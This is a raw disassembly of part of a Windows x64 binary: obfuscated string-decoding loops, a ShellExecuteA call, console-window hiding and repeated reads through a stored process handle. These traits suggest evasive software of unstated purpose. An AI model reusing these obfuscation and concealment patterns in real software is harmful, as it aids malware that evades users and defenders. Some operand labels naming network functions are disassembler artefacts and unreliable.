lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c3688
add bl, 0x16
movzx eax, r11b
and al, bl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c36ad
lea edx, [rbx - 0x6e]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c3872
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c36d1
lea edx, [rbx + 0x4c]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
jmp 0x1400c39a5
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c34cf
lea edx, [rbx + 6]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
jmp 0x1400c3939
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c371d
lea edx, [rbx - 0x5f]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x67
jmp 0x1400c3939
inc rax
cmp r8, rax
jne 0x1400c3746
add bl, 0x1d
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x35
dec rdi
inc rdi
jmp 0x1400c2fc3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c376a
sub bl, 0x67
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x2f
jmp 0x1400c39df
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c3483
lea edx, [rbx + 0x15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6d
jmp 0x1400c3872
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c37c7
add bl, 0x2c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x34
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c37ec
lea edx, [rbx - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c3872
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c3814
add bl, 0x24
movzx eax, r11b
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c39df
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c3444
lea edx, [rbx + 0x1c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c3939
lea edx, [rbx - 0x68]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
add r10b, dl
add r10b, r11b
jmp 0x1400c39a8
lea edx, [rbx - 0x2a]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
sub bl, 0xb
movzx eax, bl
and al, r11b
add al, al
sub bl, al
add bl, 0x4d
add bl, r11b
movzx eax, bl
mov byte [rbp + rdi + 0x5b0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400c3a13
sub bl, 0x47
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0xf
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
sub bl, 0x3f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x47
jmp 0x1400c39df
lea edx, [rbx - 0x7d]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
jmp 0x1400c39a5
add bl, 0x45
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x1d
dec rdi
inc rdi
jmp 0x1400c2fc3
lea edx, [rbx - 0x37]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7f
add r10b, dl
add bl, 0x79
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x4f
add r11b, bl
mov byte [rbp + rdi + 0x5b0], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c2fc3
lea ecx, [rdi + 0xf]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
inc r9
dec rdi
inc rdi
jmp 0x1400c2fc3
movzx ebx, dil
lea edx, [rbx - 0x6d]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 5
add r10b, dl
sub bl, 0x49
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
dec r11b
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x5b0], r11b
jmp 0x1400c39df
lea ecx, [rdi + 0x55]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x53
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c2fc3
lea rcx, [rdi + r12]
and sil, cl
add sil, sil
movzx r10d, r11b
sub r10b, sil
sub r10b, 0x3d
add r10b, cl
lea edx, [rdi + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x5b0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
lea rax, [rdi + r15]
and sil, al
add sil, sil
sub r11b, sil
lea r10d, [rax + r11]
add r10b, 0x75
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
add bl, 0x1b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x43
jmp 0x1400c2fc0
sub bl, 0x23
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0xb
jmp 0x1400c2fb2
lea r8, [rbp + 0x1666e84]
jmp 0x1400c3ad1
lea r8, [rbp + 0xa3ada3]
jmp 0x1400c3ad1
lea r8, [rbp + 0x5b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [0x14022ddf0]
mov rax, qword [0x14022ddf8]
nop dword [rax + rax]
test rcx, rcx
je 0x1400c3b0e
test rax, rax
jne 0x1400c3cb3
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x40]
mov rcx, qword [0x14022e208]
call fcn.140113ee0
nop
mov rcx, rax
call fcn.140001bc0
mov rdi, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400c3b50
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140004460
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.1400b4620
mov rcx, rax
call fcn.140001bc0
lea r8, [rbp + 0x928]
lea rdx, [0x1401bc200]
mov rcx, rax
call fcn.1400065e0
mov rdi, qword [rbp + 0x928]
lea rcx, [rbp + 0xc0]
call fcn.140002820
nop
lea rcx, [rbp + 0x40]
call fcn.140002820
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x930]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14022e208]
call fcn.140114f30
mov rax, qword [rbp + 0x930]
mov qword [0x14022ddf8], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x920]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14022e208]
call fcn.140114f30
mov r8, qword [rbp + 0x920]
add r8, 0x7d8
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x918]
xor edx, edx
mov rcx, qword [0x14022e208]
call fcn.140114f30
mov r8, qword [rbp + 0x918]
add r8, qword [0x140227cc8]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x910]
xor edx, edx
mov rcx, qword [0x14022e208]
call fcn.140114f30
mov rcx, qword [rbp + 0x910]
mov qword [0x14022ddf0], rcx
cmp rcx, 0x10000
jbe 0x1400c3c9a
mov rax, qword [0x14022ddf8]
cmp rax, 0x10000
ja 0x1400c3b00
mov rcx, r13
mov qword [0x14022ddf0], rcx
mov rax, r13
mov qword [0x14022ddf8], rax
jmp 0x1400c3b00
mov rcx, qword [0x14022de88]
call fcn.1400a6410
mov rcx, qword [0x14022de80]
call fcn.14006c8f0
mov byte [rbp + 0x268], 0x9b
mov byte [rbp + 0x269], 0xbe
mov byte [rbp + 0x26a], 0xa9
mov byte [rbp + 0x26b], 0xae
mov byte [rbp + 0x26c], 0xa9
mov byte [rbp + 0x26d], 0xbc
mov byte [rbp + 0x26e], 0xbd
mov byte [rbp + 0x26f], 0xb5
mov byte [rbp + 0x270], 0xa5
mov byte [rbp + 0x271], 0xb9
mov byte [rbp + 0x272], 0xb8
mov byte [rbp + 0x273], 0xac
mov byte [rbp + 0x274], Ordinal_79
mov byte [rbp + 0x275], 0x9d
mov byte [rbp + 0x276], 0xb9
mov byte [rbp + 0x277], 0xb8
mov byte [rbp + 0x278], 0xba
mov byte [rbp + 0x279], 0xbe
mov byte [rbp + 0x27a], 0xb8
mov byte [rbp + 0x27b], 0x7c
mov byte [rbp + 0x27c], 0x54
mov byte [rbp + 0x27d], reloc.WLDAP32.dll_Ordinal_33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27e], xmm0
mov qword [rbp + 0x28e], rax
mov dword [rbp + 0x296], eax
mov byte [rbp + 0x29a], al
movabs rsi, 0x54a3fbf42197fa89
movabs r14, 0xfdebf3dc64c7ef9b
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c48d4
movzx r11d, byte [rbp + rdi + 0x268]
mov edx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c48cb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c3dfb
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x41
jmp 0x1400c3e1b
je 0x1400c4862
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c4833
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c47ed
movzx r10d, dil
nop
cmp r9, rdi
ja 0x1400c48c2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400c3e49
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x55
jmp 0x1400c3e80
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c47d6
inc rax
cmp r8, rax
je 0x1400c47b4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c4798
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c477c
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c43dd
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c43c1
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c4398
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c4376
lea rcx, [r9 + 0x40]
cmp r8, rcx
je 0x1400c435a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c433e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c431e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c4302
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c42e2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c42b5
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3e90
mov r8, rcx
lea r9, [rcx + 0x80]
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400c48a6
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400c488a
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400c4080
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400c4066
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400c404c
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400c426c
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400c4227
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c41ea
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400c41c4
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400c3e90
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c4197
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c4177
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c415b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c413b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c411f
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c4103
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c40e1
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c40b8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c409c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c3e90
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x1400c3e90
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x4b
jmp 0x1400c3e80
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x37
jmp 0x1400c3e20
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x47
jmp 0x1400c3dd0
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x58
add bl, dl
jmp 0x1400c4806
sub r10b, 0x2a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c3db3
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x5c
dec rdi
inc rdi
jmp 0x1400c3db3
lea edx, [r10 - 0x4e]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c46d2
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x60
jmp 0x1400c4847
sub r10b, 0x72
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c484a
lea edx, [r10 + 0x7c]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x1400c470c
add r10b, 0x6a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c4738
add r10b, 0x58
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x68
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
sub r10b, 0x55
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x53
mov byte [rbp + rdi + 0x268], bl
inc rdi
jmp 0x1400c3db3
lea edx, [r10 - 0x67]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x2f
add bl, dl
cmp r9, 1
jb 0x1400c41db
lea edx, [r10 - 0x6a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x1400c4806
lea edx, [r10 - 0x79]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x4f
add bl, dl
cmp r8, 0x2a
jae 0x1400c46bc
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400c45d6
lea edx, [r10 - 0x1e]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x2e
jmp 0x1400c41ff
lea edx, [r10 + 0x75]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x33
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400c46fb
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400c4507
lea edx, [r10 - 0x5b]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x7d
jmp 0x1400c423c
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 2
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c4738
lea edx, [r10 + 0x4a]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 6
add bl, dl
jmp 0x1400c470c
add r10b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c484a
add r10b, 0x26
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0xa
jmp 0x1400c4847
lea edx, [r10 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c46d2
add r10b, 2
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0xe
dec rdi
inc rdi
jmp 0x1400c3db3
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c3db3
lea edx, [r10 - 0x22]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x1400c4806
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400c4400
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x41
jmp 0x1400c4283
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4436
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x56
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
inc rax
cmp r8, rax
jne 0x1400c4458
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x52
jmp 0x1400c470c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4481
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c484a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c44a6
lea edx, [r10 - 0x2c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c46d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c44d1
sub r10b, 0x1a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x4a
dec rdi
inc rdi
jmp 0x1400c3db3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4283
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c3db3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c452b
lea edx, [r10 - 0x49]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
dec bl
add bl, dl
jmp 0x1400c4806
cmp r8, rcx
jne 0x1400c4552
sub r10b, 0x25
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 3
dec rdi
inc rdi
jmp 0x1400c3db3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c4575
lea edx, [r10 - 0x13]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x7b
jmp 0x1400c46d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c459c
add r10b, 0x35
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x73
add bl, r10b
jmp 0x1400c4738
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c423e
add r10b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0xf
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c4610
sub r10b, 0xc
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
inc rax
cmp r8, rax
jne 0x1400c4636
add r10b, 6
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x2a
add bl, r10b
jmp 0x1400c4738
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c465f
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c4847
cmp r8, rcx
jne 0x1400c468a
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c3db3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c4201
add r10b, 0x72
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x1e
inc r9
dec rdi
inc rdi
jmp 0x1400c3db3
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
add r10b, 0x31
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x57
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x268], r11b
jmp 0x1400c4847
lea ecx, [r10 - 0x46]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x16]
add r10b, 0x43
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x2b
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x268], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x34]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x268], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
sub r10b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x61
jmp 0x1400c484a
sub r10b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x21
jmp 0x1400c4847
add r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x25
dec rdi
inc rdi
jmp 0x1400c3db3
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x29
jmp 0x1400c4806
movzx r10d, dil
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2d
add r10b, 0x1f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x27
add r11b, r10b
mov byte [rbp + rdi + 0x268], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c3db3
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x35
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c3db3
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
sub bl, 0x3d
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c3db3
add r10b, 0x2d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x3b
jmp 0x1400c3db0
add r10b, 0x1b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x43
jmp 0x1400c3da0
lea rdx, [rbp + 0x15c5674]
jmp 0x1400c48db
lea rdx, [rbp + 0xf450fd]
jmp 0x1400c48db
lea rdx, [rbp + 0x268]
mov rcx, qword [0x14022e168]
call fcn.1400cd3b0
mov qword [rsp + 0x78], 0x5dc
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.14005ad30
mov rcx, rax
call fcn.14005ada0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14022de78]
call fcn.1400b46f0
mov rcx, qword [0x14022de78]
mov byte [rcx + 0xb], 1
call fcn.1400636c0
mov byte [0x140229d6a], 0
mov byte [rbp + 0x1d0], WSASetLastError
mov byte [rbp + 0x1d1], 0
mov byte [rbp + 0x1d2], 6
mov byte [rbp + 0x1d3], 0x78
mov byte [rbp + 0x1d4], 7
mov byte [rbp + 0x1d5], 0x68
mov byte [rbp + 0x1d6], recv
mov byte [rbp + 0x1d7], 0x7a
mov byte [rbp + 0x1d8], 0xb6
mov byte [rbp + 0x1d9], 0x7a
mov byte [rbp + 0x1da], 0x78
mov byte [rbp + 0x1db], 0x78
mov byte [rbp + 0x1dc], 0x80
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1dd], xmm0
mov dword [rbp + 0x1ed], eax
mov word [rbp + 0x1f1], ax
movabs r14, 0x867c1787b3c0dec2
movabs r12, 0xad64a4b5ea46174e
movabs r15, 0x937446971b429c46
movzx ebx, byte [rsp + 0x31]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400c5294
movzx r11d, byte [rbp + rdi + 0x1d0]
mov esi, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c528b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c4a2b
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rsi
sub bl, 0x4e
jmp 0x1400c4a64
je 0x1400c5215
inc rax
cmp r8, rax
je 0x1400c518c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5131
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c510e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c50c4
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400c5282
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c4a99
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
